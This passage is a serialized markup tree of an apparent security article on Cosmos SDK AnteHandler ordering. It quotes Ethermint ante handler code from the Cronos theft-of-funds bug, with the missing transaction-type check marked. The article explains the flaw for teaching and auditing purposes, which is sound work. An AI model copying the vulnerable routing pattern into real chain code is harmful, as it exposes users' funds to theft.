next",{"type":24,"tag":930,"props":82244,"children":82245},{"style":959},[82246],{"type":30,"value":1010},{"type":24,"tag":930,"props":82248,"children":82249},{"style":1023},[82250],{"type":30,"value":23384},{"type":24,"tag":930,"props":82252,"children":82253},{"style":959},[82254],{"type":30,"value":962},{"type":24,"tag":930,"props":82256,"children":82257},{"style":1023},[82258],{"type":30,"value":82259},"tx",{"type":24,"tag":930,"props":82261,"children":82262},{"style":959},[82263],{"type":30,"value":962},{"type":24,"tag":930,"props":82265,"children":82266},{"style":1023},[82267],{"type":30,"value":82268},"simulate",{"type":24,"tag":930,"props":82270,"children":82271},{"style":959},[82272],{"type":30,"value":1054},{"type":24,"tag":930,"props":82274,"children":82275},{"class":932,"line":1762},[82276],{"type":24,"tag":930,"props":82277,"children":82278},{"style":959},[82279],{"type":30,"value":2528},{"type":24,"tag":33,"props":82281,"children":82282},{},[82283,82285,82290,82292,82298,82300,82306],{"type":30,"value":82284},"Where should this custom ",{"type":24,"tag":156,"props":82286,"children":82288},{"className":82287},[],[82289],{"type":30,"value":81549},{"type":30,"value":82291}," be placed relative to other ",{"type":24,"tag":156,"props":82293,"children":82295},{"className":82294},[],[82296],{"type":30,"value":82297},"AnteHandlers",{"type":30,"value":82299}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":156,"props":82301,"children":82303},{"className":82302},[],[82304],{"type":30,"value":82305},"SetUpContextDecorator",{"type":30,"value":82307}," should work, right?",{"type":24,"tag":33,"props":82309,"children":82310},{},[82311],{"type":24,"tag":37,"props":82312,"children":82315},{"href":82313,"rel":82314},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[41],[82316],{"type":30,"value":79818},{"type":24,"tag":920,"props":82318,"children":82320},{"code":82319,"language":79244,"meta":7,"className":79245,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[82321],{"type":24,"tag":156,"props":82322,"children":82323},{"__ignoreMap":7},[82324,82357,82374,82382,82411,82423,82435,82464,82492,82571,82604,82632,82677,82722,82750],{"type":24,"tag":930,"props":82325,"children":82326},{"class":932,"line":933},[82327,82332,82336,82340,82344,82348,82353],{"type":24,"tag":930,"props":82328,"children":82329},{"style":1023},[82330],{"type":30,"value":82331},"anteDecorators",{"type":24,"tag":930,"props":82333,"children":82334},{"style":1158},[82335],{"type":30,"value":79495},{"type":24,"tag":930,"props":82337,"children":82338},{"style":959},[82339],{"type":30,"value":79307},{"type":24,"tag":930,"props":82341,"children":82342},{"style":943},[82343],{"type":30,"value":81809},{"type":24,"tag":930,"props":82345,"children":82346},{"style":959},[82347],{"type":30,"value":436},{"type":24,"tag":930,"props":82349,"children":82350},{"style":943},[82351],{"type":30,"value":82352},"AnteDecorator",{"type":24,"tag":930,"props":82354,"children":82355},{"style":959},[82356],{"type":30,"value":13987},{"type":24,"tag":930,"props":82358,"children":82359},{"class":932,"line":984},[82360,82365,82369],{"type":24,"tag":930,"props":82361,"children":82362},{"style":1002},[82363],{"type":30,"value":82364},"    NewSetUpContextDecorator",{"type":24,"tag":930,"props":82366,"children":82367},{"style":959},[82368],{"type":30,"value":1364},{"type":24,"tag":930,"props":82370,"children":82371},{"style":1422},[82372],{"type":30,"value":82373},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":930,"props":82375,"children":82376},{"class":932,"line":993},[82377],{"type":24,"tag":930,"props":82378,"children":82379},{"style":1422},[82380],{"type":30,"value":82381},"    // INSERT HERE\n",{"type":24,"tag":930,"props":82383,"children":82384},{"class":932,"line":1057},[82385,82390,82394,82398,82402,82407],{"type":24,"tag":930,"props":82386,"children":82387},{"style":1002},[82388],{"type":30,"value":82389},"    NewExtensionOptionsDecorator",{"type":24,"tag":930,"props":82391,"children":82392},{"style":959},[82393],{"type":30,"value":1010},{"type":24,"tag":930,"props":82395,"children":82396},{"style":1023},[82397],{"type":30,"value":39126},{"type":24,"tag":930,"props":82399,"children":82400},{"style":959},[82401],{"type":30,"value":436},{"type":24,"tag":930,"props":82403,"children":82404},{"style":1023},[82405],{"type":30,"value":82406},"ExtensionOptionChecker",{"type":24,"tag":930,"props":82408,"children":82409},{"style":959},[82410],{"type":30,"value":9848},{"type":24,"tag":930,"props":82412,"children":82413},{"class":932,"line":1066},[82414,82419],{"type":24,"tag":930,"props":82415,"children":82416},{"style":1002},[82417],{"type":30,"value":82418},"    NewValidateBasicDecorator",{"type":24,"tag":930,"props":82420,"children":82421},{"style":959},[82422],{"type":30,"value":6607},{"type":24,"tag":930,"props":82424,"children":82425},{"class":932,"line":1075},[82426,82431],{"type":24,"tag":930,"props":82427,"children":82428},{"style":1002},[82429],{"type":30,"value":82430},"    NewTxTimeoutHeightDecorator",{"type":24,"tag":930,"props":82432,"children":82433},{"style":959},[82434],{"type":30,"value":6607},{"type":24,"tag":930,"props":82436,"children":82437},{"class":932,"line":1122},[82438,82443,82447,82451,82455,82460],{"type":24,"tag":930,"props":82439,"children":82440},{"style":1002},[82441],{"type":30,"value":82442},"    NewValidateMemoDecorator",{"type":24,"tag":930,"props":82444,"children":82445},{"style":959},[82446],{"type":30,"value":1010},{"type":24,"tag":930,"props":82448,"children":82449},{"style":1023},[82450],{"type":30,"value":39126},{"type":24,"tag":930,"props":82452,"children":82453},{"style":959},[82454],{"type":30,"value":436},{"type":24,"tag":930,"props":82456,"children":82457},{"style":1023},[82458],{"type":30,"value":82459},"AccountKeeper",{"type":24,"tag":930,"props":82461,"children":82462},{"style":959},[82463],{"type":30,"value":9848},{"type":24,"tag":930,"props":82465,"children":82466},{"class":932,"line":1131},[82467,82472,82476,82480,82484,82488],{"type":24,"tag":930,"props":82468,"children":82469},{"style":1002},[82470],{"type":30,"value":82471},"    NewConsumeGasForTxSizeDecorator",{"type":24,"tag":930,"props":82473,"children":82474},{"style":959},[82475],{"type":30,"value":1010},{"type":24,"tag":930,"props":82477,"children":82478},{"style":1023},[82479],{"type":30,"value":39126},{"type":24,"tag":930,"props":82481,"children":82482},{"style":959},[82483],{"type":30,"value":436},{"type":24,"tag":930,"props":82485,"children":82486},{"style":1023},[82487],{"type":30,"value":82459},{"type":24,"tag":930,"props":82489,"children":82490},{"style":959},[82491],{"type":30,"value":9848},{"type":24,"tag":930,"props":82493,"children":82494},{"class":932,"line":1144},[82495,82500,82504,82508,82512,82516,82520,82524,82528,82533,82537,82541,82545,82550,82554,82558,82562,82567],{"type":24,"tag":930,"props":82496,"children":82497},{"style":1002},[82498],{"type":30,"value":82499},"    NewDeductFeeDecorator",{"type":24,"tag":930,"props":82501,"children":82502},{"style":959},[82503],{"type":30,"value":1010},{"type":24,"tag":930,"props":82505,"children":82506},{"style":1023},[82507],{"type":30,"value":39126},{"type":24,"tag":930,"props":82509,"children":82510},{"style":959},[82511],{"type":30,"value":436},{"type":24,"tag":930,"props":82513,"children":82514},{"style":1023},[82515],{"type":30,"value":82459},{"type":24,"tag":930,"props":82517,"children":82518},{"style":959},[82519],{"type":30,"value":962},{"type":24,"tag":930,"props":82521,"children":82522},{"style":1023},[82523],{"type":30,"value":39126},{"type":24,"tag":930,"props":82525,"children":82526},{"style":959},[82527],{"type":30,"value":436},{"type":24,"tag":930,"props":82529,"children":82530},{"style":1023},[82531],{"type":30,"value":82532},"BankKeeper",{"type":24,"tag":930,"props":82534,"children":82535},{"style":959},[82536],{"type":30,"value":962},{"type":24,"tag":930,"props":82538,"children":82539},{"style":1023},[82540],{"type":30,"value":39126},{"type":24,"tag":930,"props":82542,"children":82543},{"style":959},[82544],{"type":30,"value":436},{"type":24,"tag":930,"props":82546,"children":82547},{"style":1023},[82548],{"type":30,"value":82549},"FeegrantKeeper",{"type":24,"tag":930,"props":82551,"children":82552},{"style":959},[82553],{"type":30,"value":962},{"type":24,"tag":930,"props":82555,"children":82556},{"style":1023},[82557],{"type":30,"value":39126},{"type":24,"tag":930,"props":82559,"children":82560},{"style":959},[82561],{"type":30,"value":436},{"type":24,"tag":930,"props":82563,"children":82564},{"style":1023},[82565],{"type":30,"value":82566},"TxFeeChecker",{"type":24,"tag":930,"props":82568,"children":82569},{"style":959},[82570],{"type":30,"value":9848},{"type":24,"tag":930,"props":82572,"children":82573},{"class":932,"line":1169},[82574,82579,82583,82587,82591,82595,82599],{"type":24,"tag":930,"props":82575,"children":82576},{"style":1002},[82577],{"type":30,"value":82578},"    NewSetPubKeyDecorator",{"type":24,"tag":930,"props":82580,"children":82581},{"style":959},[82582],{"type":30,"value":1010},{"type":24,"tag":930,"props":82584,"children":82585},{"style":1023},[82586],{"type":30,"value":39126},{"type":24,"tag":930,"props":82588,"children":82589},{"style":959},[82590],{"type":30,"value":436},{"type":24,"tag":930,"props":82592,"children":82593},{"style":1023},[82594],{"type":30,"value":82459},{"type":24,"tag":930,"props":82596,"children":82597},{"style":959},[82598],{"type":30,"value":3199},{"type":24,"tag":930,"props":82600,"children":82601},{"style":1422},[82602],{"type":30,"value":82603},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":930,"props":82605,"children":82606},{"class":932,"line":1191},[82607,82612,82616,82620,82624,82628],{"type":24,"tag":930,"props":82608,"children":82609},{"style":1002},[82610],{"type":30,"value":82611},"    NewValidateSigCountDecorator",{"type":24,"tag":930,"props":82613,"children":82614},{"style":959},[82615],{"type":30,"value":1010},{"type":24,"tag":930,"props":82617,"children":82618},{"style":1023},[82619],{"type":30,"value":39126},{"type":24,"tag":930,"props":82621,"children":82622},{"style":959},[82623],{"type":30,"value":436},{"type":24,"tag":930,"props":82625,"children":82626},{"style":1023},[82627],{"type":30,"value":82459},{"type":24,"tag":930,"props":82629,"children":82630},{"style":959},[82631],{"type":30,"value":9848},{"type":24,"tag":930,"props":82633,"children":82634},{"class":932,"line":1223},[82635,82640,82644,82648,82652,82656,82660,82664,82668,82673],{"type":24,"tag":930,"props":82636,"children":82637},{"style":1002},[82638],{"type":30,"value":82639},"    NewSigGasConsumeDecorator",{"type":24,"tag":930,"props":82641,"children":82642},{"style":959},[82643],{"type":30,"value":1010},{"type":24,"tag":930,"props":82645,"children":82646},{"style":1023},[82647],{"type":30,"value":39126},{"type":24,"tag":930,"props":82649,"children":82650},{"style":959},[82651],{"type":30,"value":436},{"type":24,"tag":930,"props":82653,"children":82654},{"style":1023},[82655],{"type":30,"value":82459},{"type":24,"tag":930,"props":82657,"children":82658},{"style":959},[82659],{"type":30,"value":962},{"type":24,"tag":930,"props":82661,"children":82662},{"style":1023},[82663],{"type":30,"value":39126},{"type":24,"tag":930,"props":82665,"children":82666},{"style":959},[82667],{"type":30,"value":436},{"type":24,"tag":930,"props":82669,"children":82670},{"style":1023},[82671],{"type":30,"value":82672},"SigGasConsumer",{"type":24,"tag":930,"props":82674,"children":82675},{"style":959},[82676],{"type":30,"value":9848},{"type":24,"tag":930,"props":82678,"children":82679},{"class":932,"line":1281},[82680,82685,82689,82693,82697,82701,82705,82709,82713,82718],{"type":24,"tag":930,"props":82681,"children":82682},{"style":1002},[82683],{"type":30,"value":82684},"    NewSigVerificationDecorator",{"type":24,"tag":930,"props":82686,"children":82687},{"style":959},[82688],{"type":30,"value":1010},{"type":24,"tag":930,"props":82690,"children":82691},{"style":1023},[82692],{"type":30,"value":39126},{"type":24,"tag":930,"props":82694,"children":82695},{"style":959},[82696],{"type":30,"value":436},{"type":24,"tag":930,"props":82698,"children":82699},{"style":1023},[82700],{"type":30,"value":82459},{"type":24,"tag":930,"props":82702,"children":82703},{"style":959},[82704],{"type":30,"value":962},{"type":24,"tag":930,"props":82706,"children":82707},{"style":1023},[82708],{"type":30,"value":39126},{"type":24,"tag":930,"props":82710,"children":82711},{"style":959},[82712],{"type":30,"value":436},{"type":24,"tag":930,"props":82714,"children":82715},{"style":1023},[82716],{"type":30,"value":82717},"SignModeHandler",{"type":24,"tag":930,"props":82719,"children":82720},{"style":959},[82721],{"type":30,"value":9848},{"type":24,"tag":930,"props":82723,"children":82724},{"class":932,"line":1313},[82725,82730,82734,82738,82742,82746],{"type":24,"tag":930,"props":82726,"children":82727},{"style":1002},[82728],{"type":30,"value":82729},"    NewIncrementSequenceDecorator",{"type":24,"tag":930,"props":82731,"children":82732},{"style":959},[82733],{"type":30,"value":1010},{"type":24,"tag":930,"props":82735,"children":82736},{"style":1023},[82737],{"type":30,"value":39126},{"type":24,"tag":930,"props":82739,"children":82740},{"style":959},[82741],{"type":30,"value":436},{"type":24,"tag":930,"props":82743,"children":82744},{"style":1023},[82745],{"type":30,"value":82459},{"type":24,"tag":930,"props":82747,"children":82748},{"style":959},[82749],{"type":30,"value":9848},{"type":24,"tag":930,"props":82751,"children":82752},{"class":932,"line":1335},[82753],{"type":24,"tag":930,"props":82754,"children":82755},{"style":959},[82756],{"type":30,"value":2528},{"type":24,"tag":33,"props":82758,"children":82759},{},[82760,82762,82767,82769,82775,82776,82782],{"type":30,"value":82761},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":156,"props":82763,"children":82765},{"className":82764},[],[82766],{"type":30,"value":82297},{"type":30,"value":82768},", such as ",{"type":24,"tag":156,"props":82770,"children":82772},{"className":82771},[],[82773],{"type":30,"value":82774},"SigGasConsumeDecorator",{"type":30,"value":211},{"type":24,"tag":156,"props":82777,"children":82779},{"className":82778},[],[82780],{"type":30,"value":82781},"ConsumeGasForTxSizeDecorator",{"type":30,"value":82783},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":33,"props":82785,"children":82786},{},[82787,82789,82795,82797,82802],{"type":30,"value":82788},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":156,"props":82790,"children":82792},{"className":82791},[],[82793],{"type":30,"value":82794},"msgs",{"type":30,"value":82796}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":156,"props":82798,"children":82800},{"className":82799},[],[82801],{"type":30,"value":81624},{"type":30,"value":82803}," chain.",{"type":24,"tag":151,"props":82805,"children":82807},{"id":82806},"real-world-examples-2",[82808],{"type":30,"value":79768},{"type":24,"tag":33,"props":82810,"children":82811},{},[82812,82814,82819,82821,82828],{"type":30,"value":82813},"An instance of ",{"type":24,"tag":156,"props":82815,"children":82817},{"className":82816},[],[82818],{"type":30,"value":81549},{"type":30,"value":82820}," misuse is a ",{"type":24,"tag":37,"props":82822,"children":82825},{"href":82823,"rel":82824},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[41],[82826],{"type":30,"value":82827},"Theft of Fund bug",{"type":30,"value":82829}," that was exploited in a Cronos contract.",{"type":24,"tag":33,"props":82831,"children":82832},{},[82833,82835,82840,82842,82847,82849,82855,82857,82863,82865,82870,82872,82877],{"type":30,"value":82834},"In this scenario, ",{"type":24,"tag":156,"props":82836,"children":82838},{"className":82837},[],[82839],{"type":30,"value":82794},{"type":30,"value":82841}," are multiplexed to different ",{"type":24,"tag":156,"props":82843,"children":82845},{"className":82844},[],[82846],{"type":30,"value":81549},{"type":30,"value":82848}," sets through the user-controlled ",{"type":24,"tag":156,"props":82850,"children":82852},{"className":82851},[],[82853],{"type":30,"value":82854},"ExtensionOptionsEthereumTx",{"type":30,"value":82856}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":156,"props":82858,"children":82860},{"className":82859},[],[82861],{"type":30,"value":82862},"MsgEthereumTx",{"type":30,"value":82864}," does not have ",{"type":24,"tag":156,"props":82866,"children":82868},{"className":82867},[],[82869],{"type":30,"value":82854},{"type":30,"value":82871}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":156,"props":82873,"children":82875},{"className":82874},[],[82876],{"type":30,"value":82297},{"type":30,"value":82878},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":33,"props":82880,"children":82881},{},[82882],{"type":24,"tag":37,"props":82883,"children":82886},{"href":82884,"rel":82885},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[41],[82887],{"type":30,"value":79818},{"type":24,"tag":920,"props":82889,"children":82891},{"code":82890,"language":79244,"meta":7,"className":79245,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[82892],{"type":24,"tag":156,"props":82893,"children":82894},{"__ignoreMap":7},[82895,82911,82936,82960,82977,83002,83028,83053,83076,83092,83148,83189,83215,83222,83268,83275,83321,83337,83367,83402,83454,83471,83479,83486,83515,83531,83539,83565,83573,83580,83592,83626,83672,83684,83691,83698,83705,83744,83751,83758,83765,83773,83780,83804,83828,83856,83881,83889,83922,83929,83941,83972,84027,84039,84046,84053,84060,84099,84106],{"type":24,"tag":930,"props":82896,"children":82897},{"class":932,"line":933},[82898,82902,82907],{"type":24,"tag":930,"props":82899,"children":82900},{"style":937},[82901],{"type":30,"value":79380},{"type":24,"tag":930,"props":82903,"children":82904},{"style":1002},[82905],{"type":30,"value":82906}," NewAnteHandler",{"type":24,"tag":930,"props":82908,"children":82909},{"style":959},[82910],{"type":30,"value":2814},{"type":24,"tag":930,"props":82912,"children":82913},{"class":932,"line":984},[82914,82919,82924,82928,82932],{"type":24,"tag":930,"props":82915,"children":82916},{"style":1023},[82917],{"type":30,"value":82918},"    ak",{"type":24,"tag":930,"props":82920,"children":82921},{"style":943},[82922],{"type":30,"value":82923}," evmtypes",{"type":24,"tag":930,"props":82925,"children":82926},{"style":959},[82927],{"type":30,"value":436},{"type":24,"tag":930,"props":82929,"children":82930},{"style":943},[82931],{"type":30,"value":82459},{"type":24,"tag":930,"props":82933,"children":82934},{"style":959},[82935],{"type":30,"value":2832},{"type":24,"tag":930,"props":82937,"children":82938},{"class":932,"line":993},[82939,82944,82948,82952,82956],{"type":24,"tag":930,"props":82940,"children":82941},{"style":1023},[82942],{"type":30,"value":82943},"    bankKeeper",{"type":24,"tag":930,"props":82945,"children":82946},{"style":943},[82947],{"type":30,"value":82923},{"type":24,"tag":930,"props":82949,"children":82950},{"style":959},[82951],{"type":30,"value":436},{"type":24,"tag":930,"props":82953,"children":82954},{"style":943},[82955],{"type":30,"value":82532},{"type":24,"tag":930,"props":82957,"children":82958},{"style":959},[82959],{"type":30,"value":2832},{"type":24,"tag":930,"props":82961,"children":82962},{"class":932,"line":1057},[82963,82968,82973],{"type":24,"tag":930,"props":82964,"children":82965},{"style":1023},[82966],{"type":30,"value":82967},"    evmKeeper",{"type":24,"tag":930,"props":82969,"children":82970},{"style":943},[82971],{"type":30,"value":82972}," EVMKeeper",{"type":24,"tag":930,"props":82974,"children":82975},{"style":959},[82976],{"type":30,"value":2832},{"type":24,"tag":930,"props":82978,"children":82979},{"class":932,"line":1066},[82980,82985,82990,82994,82998],{"type":24,"tag":930,"props":82981,"children":82982},{"style":1023},[82983],{"type":30,"value":82984},"    feeGrantKeeper",{"type":24,"tag":930,"props":82986,"children":82987},{"style":943},[82988],{"type":30,"value":82989}," authante",{"type":24,"tag":930,"props":82991,"children":82992},{"style":959},[82993],{"type":30,"value":436},{"type":24,"tag":930,"props":82995,"children":82996},{"style":943},[82997],{"type":30,"value":82549},{"type":24,"tag":930,"props":82999,"children":83000},{"style":959},[83001],{"type":30,"value":2832},{"type":24,"tag":930,"props":83003,"children":83004},{"class":932,"line":1075},[83005,83010,83015,83019,83024],{"type":24,"tag":930,"props":83006,"children":83007},{"style":1023},[83008],{"type":30,"value":83009},"    channelKeeper",{"type":24,"tag":930,"props":83011,"children":83012},{"style":943},[83013],{"type":30,"value":83014}," channelkeeper",{"type":24,"tag":930,"props":83016,"children":83017},{"style":959},[83018],{"type":30,"value":436},{"type":24,"tag":930,"props":83020,"children":83021},{"style":943},[83022],{"type":30,"value":83023},"Keeper",{"type":24,"tag":930,"props":83025,"children":83026},{"style":959},[83027],{"type":30,"value":2832},{"type":24,"tag":930,"props":83029,"children":83030},{"class":932,"line":1122},[83031,83036,83041,83045,83049],{"type":24,"tag":930,"props":83032,"children":83033},{"style":1023},[83034],{"type":30,"value":83035},"    signModeHandler",{"type":24,"tag":930,"props":83037,"children":83038},{"style":943},[83039],{"type":30,"value":83040}," authsigning",{"type":24,"tag":930,"props":83042,"children":83043},{"style":959},[83044],{"type":30,"value":436},{"type":24,"tag":930,"props":83046,"children":83047},{"style":943},[83048],{"type":30,"value":82717},{"type":24,"tag":930,"props":83050,"children":83051},{"style":959},[83052],{"type":30,"value":2832},{"type":24,"tag":930,"props":83054,"children":83055},{"class":932,"line":1131},[83056,83060,83064,83068,83072],{"type":24,"tag":930,"props":83057,"children":83058},{"style":959},[83059],{"type":30,"value":5579},{"type":24,"tag":930,"props":83061,"children":83062},{"style":943},[83063],{"type":30,"value":81809},{"type":24,"tag":930,"props":83065,"children":83066},{"style":959},[83067],{"type":30,"value":436},{"type":24,"tag":930,"props":83069,"children":83070},{"style":943},[83071],{"type":30,"value":81549},{"type":24,"tag":930,"props":83073,"children":83074},{"style":959},[83075],{"type":30,"value":981},{"type":24,"tag":930,"props":83077,"children":83078},{"class":932,"line":1144},[83079,83083,83088],{"type":24,"tag":930,"props":83080,"children":83081},{"style":1079},[83082],{"type":30,"value":20090},{"type":24,"tag":930,"props":83084,"children":83085},{"style":937},[83086],{"type":30,"value":83087}," func",{"type":24,"tag":930,"props":83089,"children":83090},{"style":959},[83091],{"type":30,"value":2814},{"type":24,"tag":930,"props":83093,"children":83094},{"class":932,"line":1169},[83095,83099,83103,83107,83111,83115,83119,83123,83127,83131,83135,83140,83144],{"type":24,"tag":930,"props":83096,"children":83097},{"style":1023},[83098],{"type":30,"value":29278},{"type":24,"tag":930,"props":83100,"children":83101},{"style":943},[83102],{"type":30,"value":81720},{"type":24,"tag":930,"props":83104,"children":83105},{"style":959},[83106],{"type":30,"value":436},{"type":24,"tag":930,"props":83108,"children":83109},{"style":943},[83110],{"type":30,"value":79428},{"type":24,"tag":930,"props":83112,"children":83113},{"style":959},[83114],{"type":30,"value":962},{"type":24,"tag":930,"props":83116,"children":83117},{"style":1023},[83118],{"type":30,"value":82259},{"type":24,"tag":930,"props":83120,"children":83121},{"style":943},[83122],{"type":30,"value":81720},{"type":24,"tag":930,"props":83124,"children":83125},{"style":959},[83126],{"type":30,"value":436},{"type":24,"tag":930,"props":83128,"children":83129},{"style":943},[83130],{"type":30,"value":81753},{"type":24,"tag":930,"props":83132,"children":83133},{"style":959},[83134],{"type":30,"value":962},{"type":24,"tag":930,"props":83136,"children":83137},{"style":1023},[83138],{"type":30,"value":83139},"sim",{"type":24,"tag":930,"props":83141,"children":83142},{"style":943},[83143],{"type":30,"value":15157},{"type":24,"tag":930,"props":83145,"children":83146},{"style":959},[83147],{"type":30,"value":2832},{"type":24,"tag":930,"props":83149,"children":83150},{"class":932,"line":1191},[83151,83156,83161,83165,83169,83173,83177,83181,83185],{"type":24,"tag":930,"props":83152,"children":83153},{"style":959},[83154],{"type":30,"value":83155},"    ) (",{"type":24,"tag":930,"props":83157,"children":83158},{"style":1023},[83159],{"type":30,"value":83160},"newCtx",{"type":24,"tag":930,"props":83162,"children":83163},{"style":943},[83164],{"type":30,"value":81720},{"type":24,"tag":930,"props":83166,"children":83167},{"style":959},[83168],{"type":30,"value":436},{"type":24,"tag":930,"props":83170,"children":83171},{"style":943},[83172],{"type":30,"value":79428},{"type":24,"tag":930,"props":83174,"children":83175},{"style":959},[83176],{"type":30,"value":962},{"type":24,"tag":930,"props":83178,"children":83179},{"style":1023},[83180],{"type":30,"value":51509},{"type":24,"tag":930,"props":83182,"children":83183},{"style":943},[83184],{"type":30,"value":17980},{"type":24,"tag":930,"props":83186,"children":83187},{"style":959},[83188],{"type":30,"value":1503},{"type":24,"tag":930,"props":83190,"children":83191},{"class":932,"line":1223},[83192,83197,83202,83206,83210],{"type":24,"tag":930,"props":83193,"children":83194},{"style":937},[83195],{"type":30,"value":83196},"        var",{"type":24,"tag":930,"props":83198,"children":83199},{"style":1023},[83200],{"type":30,"value":83201}," anteHandler",{"type":24,"tag":930,"props":83203,"children":83204},{"style":943},[83205],{"type":30,"value":81720},{"type":24,"tag":930,"props":83207,"children":83208},{"style":959},[83209],{"type":30,"value":436},{"type":24,"tag":930,"props":83211,"children":83212},{"style":943},[83213],{"type":30,"value":83214},"AnteHandler\n",{"type":24,"tag":930,"props":83216,"children":83217},{"class":932,"line":1281},[83218],{"type":24,"tag":930,"props":83219,"children":83220},{"emptyLinePlaceholder":16},[83221],{"type":30,"value":2412},{"type":24,"tag":930,"props":83223,"children":83224},{"class":932,"line":1313},[83225,83230,83235,83239,83243,83247,83252,83256,83260,83264],{"type":24,"tag":930,"props":83226,"children":83227},{"style":1079},[83228],{"type":30,"value":83229},"        defer",{"type":24,"tag":930,"props":83231,"children":83232},{"style":1002},[83233],{"type":30,"value":83234}," Recover",{"type":24,"tag":930,"props":83236,"children":83237},{"style":959},[83238],{"type":30,"value":1010},{"type":24,"tag":930,"props":83240,"children":83241},{"style":1023},[83242],{"type":30,"value":23384},{"type":24,"tag":930,"props":83244,"children":83245},{"style":959},[83246],{"type":30,"value":436},{"type":24,"tag":930,"props":83248,"children":83249},{"style":1002},[83250],{"type":30,"value":83251},"Logger",{"type":24,"tag":930,"props":83253,"children":83254},{"style":959},[83255],{"type":30,"value":1364},{"type":24,"tag":930,"props":83257,"children":83258},{"style":1158},[83259],{"type":30,"value":6230},{"type":24,"tag":930,"props":83261,"children":83262},{"style":1023},[83263],{"type":30,"value":51509},{"type":24,"tag":930,"props":83265,"children":83266},{"style":959},[83267],{"type":30,"value":1054},{"type":24,"tag":930,"props":83269,"children":83270},{"class":932,"line":1335},[83271],{"type":24,"tag":930,"props":83272,"children":83273},{"emptyLinePlaceholder":16},[83274],{"type":30,"value":2412},{"type":24,"tag":930,"props":83276,"children":83277},{"class":932,"line":1376},[83278,83283,83287,83291,83295,83299,83303,83308,83312,83317],{"type":24,"tag":930,"props":83279,"children":83280},{"style":1023},[83281],{"type":30,"value":83282},"        